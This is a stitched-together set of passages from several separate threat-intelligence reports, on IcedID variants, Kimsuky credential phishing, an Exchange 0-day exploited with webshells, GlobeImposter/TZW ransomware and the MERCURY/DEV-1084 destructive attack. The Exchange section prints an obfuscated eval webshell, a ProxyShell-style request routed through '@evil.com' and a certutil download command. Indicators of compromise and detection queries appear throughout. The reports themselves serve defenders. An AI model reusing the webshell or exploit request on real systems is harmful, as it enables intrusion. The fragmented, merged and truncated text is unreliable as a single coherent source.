Within this list though, they have typos for botpackn3dat.


This is the same URI structure (/botpack.dat) that the Lite Loader used to download the bot and DLL loader from the C2 in November 2022 when it was dropped via Emotet infections.


After the strings are decrypted, the structure referencing them is never used again.


This is most likely code that has been copy/pasted from the lite loader.


If implemented correctly, these strings should appear in the actual loader of IcedID and not within the DLL Loader where it currently resides.


These commonalities between the Lite Loader and this DLL Loader make it seem as if the same group that dropped IcedID via Emotet is behind these campaigns as well.


This could be because banking fraud has become increasingly more difficult over the last couple of years.


Within the communications of the bot, there is an authentication header which contains the bot’s project ID, some other details and the version of the bot.


Authorization: Basic OTk4MDc1MzAwOjA6MTE5OjY1OjM1 998075300:0:119:65:35 Base64 decoding this value gives up the version as the third component of the list.


For the Standard IcedID Bot, this value is set to 119 as seen above, but for the Forked variant, we get the following base64 decoded header; 998075300:0:111:67:1


This value contains version 111, which could indicate the fork happened when the Standard Bot was using that version.


Finally, there seems to be a bug within the Forked variant of the bot where the URIs of specific requests are not constructed properly which causes 404s to occur.


Figure 28: Network requests made by the Forked Bot.


In the example above, the request should be “/news/4/2/1” but for whatever reason the bot does not append the initial / for specific commands.


After analysis of the separate variants was finished, Proofpoint identified a file called “botpackn1.dat” on VirusTotal that seemed related to our Lite Loader.


Figure 29: VirusTotal page showing the botpack used in the Lite Loader.


That filename is embedded within the custom Forked DLL Loader mentioned previously.


This relationship was enough to prompt further analysis.


In the article where Proofpoint described the IcedID Lite Loader being dropped via Emotet infections, researchers documented the structure of the botpack format and how to decrypt it as well.


Taking that same script and applying it to this file leads to a valid configuration where researchers can analyze the configuration.


This botpackn1.dat contains the later stages of the infection chain, so with some pivoting on the VirusTotal relationships, researchers land on the distribution URL (VT Link) “http[:]//lepriconloots[.]com/botpackn1.dat”.


This could mean the codebase is similar enough where the threat actors can interchange the loader and the DLL Loader, or that these actors are copy/pasting extraneous code.


Figure 31: Embedded build name of the DLL Loader.


Finally, pivoting on where this “c2.dll” (IcedID Lite loader) came from, the distribution URL “http[:]//104[.]156[.]149[.]6/webdav/c2.dll” is observed.


The TA581 campaign ended up loading the DLL “host.dll” from that same directory and led to one of the first campaigns of Proofpoint observing the Forked variant.


At the time when this distribution URL was live the IP was hosting an open directory on /webdav/ that contained various bat files, a forked IcedID loader as well as this lite loader.


Conclusion IcedID is a popular malware typically used by more advanced cyber criminal threat actors, and its use across the threat landscape has remained relatively consistent until recently.


While historically IcedID’s main function was a banking trojan, the removal of banking functionality aligns with the overall landscape shift away from banking malware and an increasing focus on being a loader for follow-on infections, including ransomware.


File Payload URL February 20-23, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/fda[.]dll URL BAT Payload URL February 20-23, 2023 Recall_2.22.url filename .URL


Attachment February 20-23, 2023 feb20_fda_labels-violation.url filename .URL


Attachment February 20-23, 2023 dc51b5dff617f4da2457303140ff1225afc096e128e7d89454c3fa9a6883585c SHA256 .URL


Attachment February 20-23, 2023 7c8b3b8cf2b721568b96f58e5994b8ddb8990cd05001be08631ade7902ae6262 SHA256 Botpackn1.dat February 22, 2023 fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe SHA256 IcedID Standard Loader February 3, 2023 03fdf03c8f0a0768940c793496346253b7ccfb7f92028d3281b6fc75c4f1558e SHA256 HTA February 3, 2023 9bf40256fb7f0acac020995a3e9a231d54a6b14bb421736734b5815de0d3ba53 SHA256 WSF March 10, 2023 befeb1ab986fae9a54d4761d072bf50fdbff5c6b1b89b66a6790a3f0bfc4243f SHA256 DLL March 10, 2023 hxxp[://]segurda[.]top/dll/loader_p1_dll_64_n1_x64_inf[.]dll53[.]dll URL Staging URL for Standard Loader March 10, 2023 hxxp[://]segurda[.]top/gatef[.]php URL PowerShell Payload URL March 10, 2023 consumption_8581_march-10.html Filename HTML Attachment March 10, 2023


Executive Summary SentinelLabs has been tracking a social engineering campaign by the North Korean APT group Kimsuky targeting experts in North Korean affairs, part of a broader campaign discussed in a recent NSA advisory.

Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence


The campaign has the objective of stealing Google and subscription credentials of a reputable news and analysis service focusing on North Korea, as well as delivering reconnaissance malware.


Kimsuky engages in extensive email correspondence and uses spoofed URLs, websites imitating legitimate web platforms, and Office documents weaponized with the ReconShark malware.


This activity indicates Kimsuky’s growing dedication to social engineering and highlights the group’s increasing interest in gathering strategic intelligence.


In collaboration with NK News, a leading subscription-based service that provides news and analyses about North Korea, SentinelLabs has been tracking a targeted social engineering campaign against experts in North Korean affairs from the non-government sector.


The campaign focuses on theft of email credentials, delivery of reconnaissance malware, and theft of NK News subscription credentials.


Based on the used malware, infrastructure, and tactics, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.


Kimsuky, a suspected North Korean advanced persistent threat (APT) group whose activities align with the interests of the North Korean government, is known for its global targeting of organizations and individuals.


Operating since at least 2012, the group often employs targeted phishing and social engineering tactics to gather intelligence and access sensitive information.


The initial email requests the review of a draft article analyzing the nuclear threat posed by North Korea.


If the target engages in the conversation, Kimsuky uses the opportunity to deliver a spoofed URL to a Google document, which redirects to a malicious website specifically crafted to capture Google credentials.


Kimsuky may also deliver a weaponized Office document that executes the ReconShark reconnaissance malware.


Further, Kimsuky’s objective extends to the theft of subscription credentials from NK News.


To achieve this, the group distributes emails that lure targeted individuals to log in on the malicious website nknews[.]pro, which masquerades as the authentic NK News site.


This Kimsuky activity indicates the group’s growing efforts to establish early communication and foster trust with their targets prior to initiating malicious operations, including the delivery of malware.


Their approach highlights the group’s commitment to creating a sense of rapport with the individuals they target, potentially increasing the success rate of their subsequent malicious activities.


By actively targeting high-profile experts in North Korean affairs and stealing subscription credentials from prominent news and analysis outlets focussing on North Korea, Kimsuky demonstrates a heightened curiosity in understanding how the international community perceives developments concerning North Korea, such as the country’s military activities.


These actions are probably part of their broader objective to gather strategic intelligence, contributing to North Korea’s decision-making processes.


Google Credential Theft We observed Kimsuky distributing an HTML-formatted phishing email to selected individuals, which requests the review of a draft article analyzing the nuclear threat posed by North Korea.


The email primarily aims to initiate a subsequent conversation and is intentionally designed to appear benign: It impersonates NK News leadership and lacks any malicious artifacts.


Initial email If the target engages in the conversation, Kimsuky eventually follows up with an email that contains an URL to a Google document.


Follow-up email If the target is not responsive, Kimsuky follows up with a reminder email in an attempt to engage the target in conversation.


This method, commonly employed in phishing attacks, creates a discrepancy between the perceived legitimacy of the link (a genuine Google document) and the actual website visited upon clicking the URL.


The displayed URL to a Google document points to an actual article hosted on Google Docs, delving into the topic of the North Korean nuclear threat.


This serves as a means of transporting the target’s address to the fake Google Docs site, which enables the site to dynamically display the address, creating a personalized and convincing appearance of legitimacy.


The design and functionality of this site suggest its potential for reuse in targeting different individuals.


Malicious Google Docs site We were unable to analyze the functionality behind the Request access web element as the group has taken down the site.


However, given the theme of the site, we suspect that it has been designed to capture entered Google credentials.


During conversations with targeted individuals, Kimsuky also seizes any available opportunity to distribute password-protected weaponized Office documents that deploy the ReconShark reconnaissance malware.


The implementation of the ReconShark variant we observed in this activity remains the same as the one covered in our previous post on Kimsuky activity, with the main distinction being the use of a different C2 server: staradvertiser[.]store.


This domain resolves to the IP address 162.0.209[.]27, which has hosted domains that have been attributed to Kimsuky in previous research, such as sesorin[.]lol and rfa[.]ink.


Kimsuky’s use of ReconShark as part of this activity underscores the malware’s central role within the group’s current operational playbook.


NK News Credential Theft


We also observed Kimsuky attempting to steal credentials for the subscription service of NK News, which is known for its comprehensive expert analyses and news reports.


Gaining access to such reports would provide Kimsuky with valuable insights into how the international community assesses and interprets developments related to North Korea, contributing to their broader strategic intelligence-gathering initiatives.


In order to accomplish this, Kimsuky distributes an email that lure targeted individuals to log in to a spoofed NK News subscription service.


The emails prompt the recipients to confirm their NK News accounts under the pretext of recent security updates.


buttons.


The domain nknews[.]pro, registered through Namecheap, also resolves to the Kimsuky-linked IP address 162.0.209[.]27.


The URL https[://]www.nknews[.]pro/config[.]php hosts a password-protected remote management site, which is likely an implementation of the b374k tool, based on the implementation of the login site and the presence of the config.php file.


The Kimsuky group is known to use this tool for remote management of its infrastructure.


The findings presented in this post highlight the group’s persistent commitment to targeted social engineering attacks and underscore the need for increased awareness and understanding of Kimsuky’s tactics among potential targets.


Maintaining vigilance and implementing effective security measures are imperative to mitigate the risks posed by this persistent threat actor.


Indicators of Compromise Indicator Description nknews[.]pro Phishing email sender domain chad.ocarroll@nknews[.]pro Phishing email sender address membership@nknews[.]pro Phishing email sender address https[://]www.nknews[.]pro Website impersonating NK News https[://]www.nknews[.]pro/config[.]php Website impersonating NK News: b374k login site https[://]www.nknews[.]pro/ip/register/ Website impersonating NK News:


Circa the beginning of August 2022, while doing security monitoring & incident response services, GTSC SOC team discovered that a critical infrastructure was being attacked, specifically to their Microsoft Exchange application.

Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server


During the investigation, GTSC Blue Team experts determined that the attack utilized an unpublished Exchange security vulnerability, i.e., a 0-day vulnerability, thus immediately came up with a temporary containment plan.


Thanks to experience finding the previous 1-day Exchange exploit, the RedTeam has a great understanding of Exchange’s code flows and processing mechanisms, therefore research time was reduced, and the vulnerability was uncovered quickly.


GTSC submitted the vulnerability to the Zero Day Initiative (ZDI) right away to work with Microsoft so that a patch could be prepared as soon as possible.


After careful testing, we confirmed that those systems were being attacked using this 0-day vulnerability.


To help the community temporarily stop the attack before an official patch from Microsoft is available, we publish this article aiming to those organizations who are using Microsoft Exchange email system.


Vulnerability information The exploit process comprises of two parts as follows: - Requests with a similar format to the ProxyShell vulnerability: autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com.


The use of the link above to access a component in the backend where the RCE could be implemented.


The attack team also used various techniques to create backdoors on the affected system and perform lateral movements to other servers in the system.


We detected webshells, mostly obfuscated, being dropped to Exchange servers.


Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management.


Language="Jscript"%> <%eval(System.


FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>


We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.


Another notable feature is that the hacker also changes the content of the file RedirSuiteServiceProxy.aspx to webshell content.


RedirSuiteServiceProxy.aspx is a legitimate file name available in the Exchange server.


FileName Path RedirSuiteServiceProxy.aspx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth Xml.ashx C:\inetpub\wwwroot\aspnet_client pxh4HG1v.ashx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth During the incident response process at another customer, GTSC noted that the attack team used another webshell template Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Ref: https://github.com/antonioCoco/SharPyShell Command Execution Besides collecting information on the system, the attacker downloads files, and checks connections through certutil, which is a legitimate tool available in the Windows environment.


“cmd” /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f


c:\test&echo


[S]&cd&echo [E] It should be noted that every command ends with the string echo


[E], which is one of the signatures of the Chinese Chopper.


Suspicious File On the servers, we detected suspicious files of exe and dll formats FileName Path DrSDKCaller.exe C:\root\DrSDKCaller.exe all.exe C:\Users\Public\all.exe dump.dll C:\Users\Public\dump.dll ad.exe C:\Users\Public\ad.exe gpg-error.exe C:\PerfLogs\gpg-error.exe cm.exe C:\PerfLogs\cm.exe msado32.tlb C:\Program Files\Common Files\system\ado\msado32.tlb Among the suspect files, based on the commands executed on the server, we determined that all.exe and dump.dll are responsible for credentials dumping on the server system.


After that, the attacker uses rar.exe to compress dumped files and copy them to the webroot of the Exchange server.


The DLL consists of two classes: Run and m, each of which calls to methods that perform different tasks.


Specifically: The Run class creates a listener that listens for connections to port 443 at the path https://*:443/ews/web/webconfig/. After listening, the malware creates a new thread that calls to r. Method r does: - Check whether the received request has data in the body or not, if not then returns result 404.


- Conversely, if the request includes data, the DLL continues to process the stream inside the IF branch: Check if the received request includes "RPDbgEsJF9o8S=" or not.


Results returned to the client in the following format { "result":1, "message":"base64(aes(result))


i does: - Decrypt the request received using AES algorithm where the first 16 bytes of the request are the IV value, the next 16 bytes are the key value, the rest are the data.


- After decoding, get the first element in the array as a flag to handle the defined cases as follows: o Case 0: Call to method info.


Information such as operating system architecture, framework version, operating system version, etc.


GTSC simulates case 0 with the image below.


The request is sent in a format that the first 16 bytes are the IV value, the next 16 bytes are the key value, followed by a flag to specify the option, and the rest is data.


base64 (IV | key | aes(flag|data)) o Case 1: Calls to method sc, which is responsible for allocating memory to implment the shellcode o Case 2: Call to two methods p and r. Method p handles data separated by the "|" character, save to array array3.


The array array3 will take the first 2 elements as parameters for method r, which is responsible for executing the command o Case 3: Call to method ld, which is responsible for listing directory and file information in the format D|-|<Date created> |<Date modified> |<folder or file name> o Case 4: Call to method wf, which is responsible for writing files o Case 5: Call to method rf, which is responsible for reading files o Case 6: Create a folder o Case 7: Delete file or folder o Case 8: Moving file o


Case 9: Set time for a file o Case 10: Load and execute C# bytecode received from request.


The other DLL samples have similar tasks, and are only different in listener configurations as follows:


The DLL makes a connection to send and receive data to the address 137[.]184[.]67[.]33 that is fixed in the binary.


Sending and receiving data with C2 using the RC4 encryption algorithm where the key will be generated at runtime.


Temporary containment measures GTSC's direct incident response process recorded more than 1 organizations being the victims of an attack campaign exploiting this 0-day vulnerability.


While waiting for the official patch from the company, GTSC provides a temporary remedy to reduce the vulnerability of attacks by adding a rule to block requests with indicators of attack through the URL Rewrite Rule module on IIS server.


Detection: To help organizations check if their Exchange Servers have been exploited by this bug yet, GTSC have released guideline and a tool to scan IIS log files (stored by default in the %SystemDrive%\inetpub\logs\LogFiles folder ):


Method 1: Use powershell command: Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log"


| Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200 Method 2: Use the tool developed by GTSC:


Based on the exploit signature, we build a tool to search with much shorter time needed than using powershell.


The link to download: https://github.com/ncsgroupvn/NCSE0Scanner Indicators of Compromise (IOCs) Webshell:


File name: Dll.dll SHA256: 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3 c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2 File name: 180000000.dll (Dump từ tiến trình Svchost.exe) SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e IP: 125[.]212[.]220[.]48 5[.]180[.]61[.]17 47[.]242[.]39[.]92 61[.]244[.]94[.]85 86[.]48[.]6[.]69 86[.]48[.]12[.]64 94[.]140[.]8[.]48 94[.]140[.]8[.]113 103[.]9[.]76[.]208 103[.]9[.]76[.]211 104[.]244[.]79[.]6 112[.]118[.]48[.]186 122[.]155[.]174[.]188 125[.]212[.]241[.]134 185[.]220[.]101[.]182 194[.]150[.]167[.]88 212[.]119[.]34[.]11 URL: hxxp://206[.]188[.]196[.]77:8080/themes.aspx C2: 137[.]184[.]67[.]33 Mitre ATT&CK Mapping Tatic ID Name Resource Development T1586.002 Compromise Accounts: Email Accounts Execution T1059.003 Command and Scripting Interpreter:


LSASS Memory Discovery T1087 Account Discovery Discovery T1083 File and Directory Discovery Discovery T1057 Process Discovery Discovery T1049 System Network Connections Discovery Lateral Movement T1570 Lateral Tool Transfer Collection T1560.001 Archive Collected Data: Archive via Utility 28/09/2022 GTSC TEAM


Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family url: https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/ In recent years, efforts to apprehend threat groups and shrink their operating landscape have gone international.


Our research links TZW ransomware to a known malware family called GlobeImposter (sometimes referred to as LOLNEK or LOLKEK).


Overview of GlobeImposter & New Variant TZW GlobeImposter has a long and winding history.


First observed in-the-wild in 2016, the name “GlobeImposter” is based on the ransomware’s mimicry of Globe ransomware payloads.


Multiple new versions and variations of GlobeImposter have appeared in the years since.


Frequently, these have been referred to by their extension (e.g., .DREAM, .Nutella, .NARCO, .LEGO).


In that same year, Emisoft released a decryption tool for early versions of GlobeImposter.


Shortly after, the malware authors responded with an updated version for which no decryption tools are available.


Since 2017, campaigns delivering GlobeImposter have continued to proliferate even though the ransomware has only evolved slightly.


The ransomware has also been used in conjunction with some well-documented high-end cybercriminal groups.


For example, in 2017 TA505 (also known as G0092, GOLD TAHOE) began using GlobeImposter in replacement of Jaff, GandCrab, and Snatch to extend the reach and effectiveness of their campaigns.


GlobeImposter’s Delivery Methods Explained GlobeImposter is most often delivered via phishing email as an attachment or a link to a malicious attachment.


The archives often include a JavaScript (.js) file that downloads and executes the GlobeImposter payload.


More recent campaigns from within the past three years still tend to follow this formula.


GlobeImposter has also been distributed as a later-stage infection within some well-known botnets.


This occurred as part of multiple spam campaigns that also included 7zip archives and followed the execution flow previously described.


Linking TZW Attacks to GlobeImposter AhnLab’s research revealed a ransomware campaign they referred to as “TZW” with victims in South Korea.


The name is derived from the first 3 characters of the TOR-based victim portal.


A closer look suggests that “TZW” samples represent a new variant of the GlobeImposter family.


Ransom note similarities are far from reliable, but it’s worth noting their likenesses.


Example of a GlobeImposter ransom note.


Example of a TZW variant GlobeImposter ransom note.


Once a machine is infected, more concrete markers indicate a deeper level of similarity.


One such marker is the “CRYPTO LOCKER” string appended to the tail of the encrypted files.


GlobeImposter has the ability to delete volume shadow copies, thereby inhibiting the recovery of data.


There are clear similarities around the methodology of the VSS removal.


GlobeImposter vs TZW variant shadow copy removal procedure.


A thorough comparison of the two respective samples shows there are only minor differences.


Zoomed-out view of GlobeImposter (hex) compared against the TZW variation.


We have seen the newer TZW variations vary somewhat with regards to file metadata.


Two TZW payloads, varied file metadata A majority of the TZW variant samples that we have analyzed resemble the version on the left hand side.


The version on the right was seen in the samples noted by AhnLab.


Understanding TZW and GlobeImposter’s Shared Infrastructure Previous GlobeImposter payloads directed victims to a TOR-based portal at obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion.


GlobeImposter Victim Portal 1.


Beginning in late 2022, we start to see victims also being directed to tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.


In addition, we can confirm the relationship between these via the publicly-viewable Apache Server Status Page.


Apache Status page – GlobeImposter victim portal.


Through this view we see that the following vhosts are active on the device.


This evidence of shared infrastructure suggests that the newly rebranded TZW ransomware samples are likely being operated by the same group that was pushing recent waves of GlobeImposter malware.


How to Protect Against GlobeImposter and TZW Ransomware SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.


With the site policy set to Protect, GlobeImposter ransomware is detected and prevented automatically.


In Detect-only mode, analysts can observe the malware’s behaviour and file encryption attempts, rolling back the device to a clean state on completion of the test.


We also show that the old “LOLNEK” Onion address and the Onion address within the TZW variant are hosted on the same server as two vhosts.


Regardless of the name or brand, GlobeImposter continues to pose a threat to enterprises.


SentinelOne Singularity protects against malicious behaviors and malware associated with GlobeImposter and TZW.


Indicators of Compromise SHA1 4585da0ff7a763be1a46d78134624f7cd13e6940 14be1c43fbfb325858cda78a126528f82cf77ad2 dc98b516c9c589c2b40bc754732ad5f16deb7c82 d034880d1233d579854e17b6ffad67a18fb33923 858f3f7f656397fcf43ac5ea13d6d4cbe7a5ca11 9a080cd497b8aa0006dc953bd9891155210c609c 8c64e820a4c5075c47c4fbaea4022dc05b3fd10b 3326708ba36393b1b4812aa8c88a03d72689ac24 cf5ab37612f24ed422a85e3745b681945c96190e cf21028b54c4d60d4e775bf05efa85656de43b68 Onions tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.]onion MITRE ATT&CK T1005 – Data from Local System T1202 – Indirect Command Execution T1486 – Data Encrypted for Impact T1070.004 – Indicator Removal:


April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather.

MERCURY and DEV1084 Destructive attack on hybrid environment


MERCURY is now tracked as Mango Sandstorm and DEV-1084 is now tracked as Storm-1084.


To learn more about the new taxonomy represents the origin, unique traits, and impact of threat actors, to get complete mapping of threat actor names, read this blog:


Microsoft Threat Intelligence has detected destructive operations enabled by MERCURY, a nation-state actor linked to the Iranian government, that attacked both on-premises and cloud environments.


Previous MERCURY attacks have been observed targeting on-premises environments, however, the impact in this case notably also included destruction of cloud resources.


In this blog post, we detail our analysis of the observed actor activity and related tools.


We also share information to the community and industry partners on ways to detect these attacks, including detection details of MERCURY and DEV-1084’s tools in Microsoft 365 Defender, Microsoft Defender for Identity, Microsoft Defender for Cloud Applications, Microsoft Defender Antivirus, and Microsoft Defender for Endpoint.


Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.


Who is DEV-1084?


Microsoft tracks the destructive actions documented in this blog post as DEV-1084.


DEV-1084 likely worked in partnership with MERCURY—an Iran-based actor that the US Cyber Command has publicly linked to Iran’s Ministry of Intelligence and Security (MOIS).


DEV-1084 publicly adopted the DarkBit persona and presented itself as a criminal actor interested in extortion, likely as an attempt to obfuscate Iran’s link to and strategic motivation for the attack.


The link between the DEV-1084 cluster and MERCURY was established based on the following evidence: DEV-1084 operators were observed sending threatening emails from 146.70.106[.]89, an IP address previously linked to MERCURY.


DEV-1084 used MULLVAD VPN, the same VPN provider historically used by MERCURY.


DEV-1084 used Rport and a customized version of Ligolo.


DEV-1084 used the vatacloud[.]com domain for command and control (C2) during this incident.


MERCURY then handed off access to DEV-1084.


Early activities, related attacker tools and techniques Microsoft assesses with moderate confidence that the threat actors attempted several times and succeeded to perform initial intrusion leveraging exposed vulnerable applications, for example, continuing to exploit Log4j 2 vulnerabilities in unpatched systems in July 2022.


After gaining access, the threat actors deploy several tools and leverage techniques to maintain persistence, which provide effective and continued access to compromised devices, such as the following:


Such reconnaissance activities were seen leveraged throughout the attack chain.


The threat actors consistently perform extensive lateral movement actions using the acquired credentials within a targeted environment.


These actions mainly involved: Remote scheduled tasks to launch their customized PowerShell backdoor Windows Management Instrumentation (WMI) to launch commands on devices Remote services to run encoded PowerShell commands After infecting the new devices, the threat actors often installed the same persistence mechanisms as described above.


Interestingly, after each main attack step, the actors did not always immediately continue their operations but would wait weeks and sometimes months before moving to the next step.


With defenses impaired, the threat actors proceeded to stage the ransomware payload in the NETLOGON shares on several domain controllers.


GPO was leveraged again to register a scheduled task used to launch the ransomware payload.


Finally, the ransomware payload encrypted files found on the file system of the targeted devices by changing the file name extension to DARKBIT and dropped ransom notes.


Two weeks before the ransomware deployment, the threat actors first used a compromised, highly privileged account to access the device where the Azure Active Directory (Azure AD) Connect agent is installed.


We assess with high confidence that the threat actors then used the AADInternals tool to extract the plaintext credentials of a privileged Azure AD account.


The threat actors then used these credentials to pivot from the on-premises environment to the Azure AD environment.


Azure AD Connect is an on-premises application for managing hybrid identities through features like password hash synchronization, pass-through authentication, objects synchronization, and others.


As part of the express settings installation process, multiple accounts are created both in the on-premises (Windows Server Active Directory) and cloud (Azure AD) environments.


The first account is the AD DS Connector Account.


Example of AD DS Connector account


This account’s permissions are set based on features enabled during the service’s installation, but in most common scenarios, the account has permissions to replicate directory changes, modify passwords, modify users, modify groups, and so on (see all the permissions here).


This account is used by the synchronization service to manage Azure AD objects.


This user is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here).


Example of an Azure AD Connector account There are other entities detailed here that are created but are less relevant to this topic.


Extracting credentials Two weeks before the ransomware deployment, the threat actors were observed using compromised credentials to access the Azure AD Connect device.


On a separate attacker-controlled compromised device, evidence indicates cloning of the AADInternals tool.


One of the functions available in this tool’s library is Get-AADIntSyncCredentials, which allows any local administrator on a device where Azure AD Connect is installed to extract the plaintext credentials of both the Azure AD Connector account and the AD DS Connector account.


Shortly before the ransomware deployment, we observed authentication from a known attacker IP address into the Azure AD Connector cloud account.


The Azure AD Connector account is configured with single-factor authentication, making it easier for the attacker to gain entry and elevate privileges.


The first account was the compromised Azure AD Connector account, which had Global Administrator permissions as it was set up for an old solution (DirSync).


Pivoting to the cloud Mass Azure resource deletion On the same day, a successful sign-in to the Microsoft Azure environment was observed.


The threat actors claimed the Global Administrator permission through Azure Privileged Identity Management (PIM) and elevated access to get permissions to the target’s management groups and Azure subscriptions.


The Azure AD Connector account and the compromised administrator account were then used to perform significant destruction of the Azure environment—deleting within a few hours server farms, virtual machines, storage accounts, and virtual networks.


We assess that the attacker’s goal was to cause data loss and a denial of service (DoS) of the target’s services.


Exchange Web Server API abuse The actors went on to provide an existing legitimate OAuth application with both the full_access_as_app permission and administrator consent, which granted the threat actors full access to mailboxes through Exchange Web Services. Figure 5.


We then observed the threat actors using this application’s permissions to perform GetItem operations over many mailboxes in the target environment.


They also performed thousands of search activities, which we suspect were attempts to dump mailboxes and/or search for sensitive data in them.


Email impersonation The threat actors used the compromised administrator account to grant SMTP Send on behalf permissions to the Azure AD Connector account over a high-ranking employee’s mailbox, using the Set-Mailbox PowerShell cmdlet. Figure 6.


Threat actors successfully sent email through the targeted account The timeline below summarizes the sequence of events: Figure 8.


Cloud attack flow timeline Mitigations for destructive attacks The techniques used by the actors and described in this blog can be mitigated by adopting the following security measures: Recommendations to secure your on-prem environment Refer to Microsoft’s blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for recommendations on building strong credential hygiene and other robust measures to defend against ransomware and human operated attacks.


Enable tamper protection – Tamper protection is a feature in Microsoft Defender for Endpoint that prevents antivirus tampering and misconfiguration by malicious apps and actors.


Recommendations to secure your Azure AD environment Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in.


Search unified audit logs for the SendAs operation to identify and track emails sent on behalf of a user mailbox.


The following alerts in Microsoft 365 Defender can be used to detect suspicious operations in Azure related to the attacker activities described in this blog, including destructive activity: Access elevation by risky user Suspicious Azure resource deletions Suspicious Addition of an Exchange related App Role In addition, the following alert can help detect compromised Azure AD Connect accounts: Unusual activities by Azure AD Connect sync account Microsoft Defender for Cloud Apps For Microsoft Defender for Cloud Apps with Azure Connector enabled, the following alerts can be used to detect destructive operations in Azure: Multiple storage deletion activities Multiple delete VM activities Azure AD Identity Protection Monitor medium and high severity alerts for highly privileged accounts as they can indicate malicious activity.


For example: Unfamiliar sign-in properties Find details of Azure AD Identity Protection alerts here.


Microsoft Defender for


Identity The following Microsoft Defender for Identity alerts can indicate associated threat activity: Suspicious additions to sensitive groups For relevant accounts with Honeytoken configured, the following alert can indicate malicious activity:


Honeytoken activity Microsoft Defender Antivirus Microsoft Defender Antivirus detects attempted exploitation and post-exploitation activity and payloads.


Refer to the list of detection names related to exploitation of Log4j 2 vulnerabilities.


Detections for the IOCs listed above are listed below: Backdoor:PHP/Remoteshell.


SB Trojan:Win32/Nibtse.


G!tsk Backdoor:ASP/Shellman.


Implement controlled folder access and add folders to the protected folders list to help prevent files from being altered or encrypted by ransomware.


Set controlled folder access to Enabled.


Refer to our Log4j related blogs to learn about this vulnerability and for a list of Microsoft Defender for Endpoint alerts that can indicate exploitation and exploitation attempts.


These alerts are supported on both Windows and Linux platforms: Any alert title related to web shell threats, for example: ‘WebShell’ backdoor was prevented on an IIS Web server Any alert title that mentions the DarkBit ransomware threat or DEV-1084, for example: ‘DarkBit’ ransomware was blocked ‘DarkBit’ ransomware was detected ‘DarkBit’ ransomware was prevented Ransomware-linked emerging threat actor DEV-1084 detected Any alert title that mentions suspicious scheduled task creation or execution, for example: Suspicious scheduled task Any alert title that mentions suspected tunneling activity, for example: Suspicious SSH tunneling activity Any alert title that mentions suspected tampering activity, for example: Suspicious Microsoft Defender Antivirus exclusion Microsoft Defender Antivirus tampering Any alert title that mentions PowerShell, for example: Suspicious process executed PowerShell command A malicious PowerShell Cmdlet was invoked on the machine Suspicious PowerShell command line Suspicious PowerShell download or encoded command execution Suspicious remote PowerShell execution Any alert title related to suspicious remote activity, for example: Suspicious RDP session An active ‘RemoteExec’ malware was blocked Suspicious service registration Any alert related to persistence: Anomaly detected in ASEP registry User account created under suspicious circumstances Any alert title that mentions credential dumping activity or tools, for example: Malicious credential theft tool execution detected Credential dumping activity observed Mimikatz credential theft tool ‘DumpLsass’ malware was blocked on a Microsoft SQL server Microsoft Defender Vulnerability Management


In addition to the mitigations above being presented and managed through Microsoft Defender Vulnerability Management, Microsoft 365 Defender customers can use threat and vulnerability management to identify and remediate devices that are vulnerable to Log4j 2 exploitation.


More comprehensive guidance on this capability can be found on this blog: Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability.


Advanced hunting queries Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor installation DeviceFileEvents | where InitiatingProcessFileName =~ "powershell.exe" | where FolderPath in~ (@"c:\programdata\db.ps1", @"c:\programdata\db.sqlite")


| summarize min(Timestamp), max(Timestamp) by DeviceId, SHA256, InitiatingProcessParentFileName DeviceProcessEvents | where InitiatingProcessFileName =~ "powershell.exe" | where InitiatingProcessCommandLine has_cs


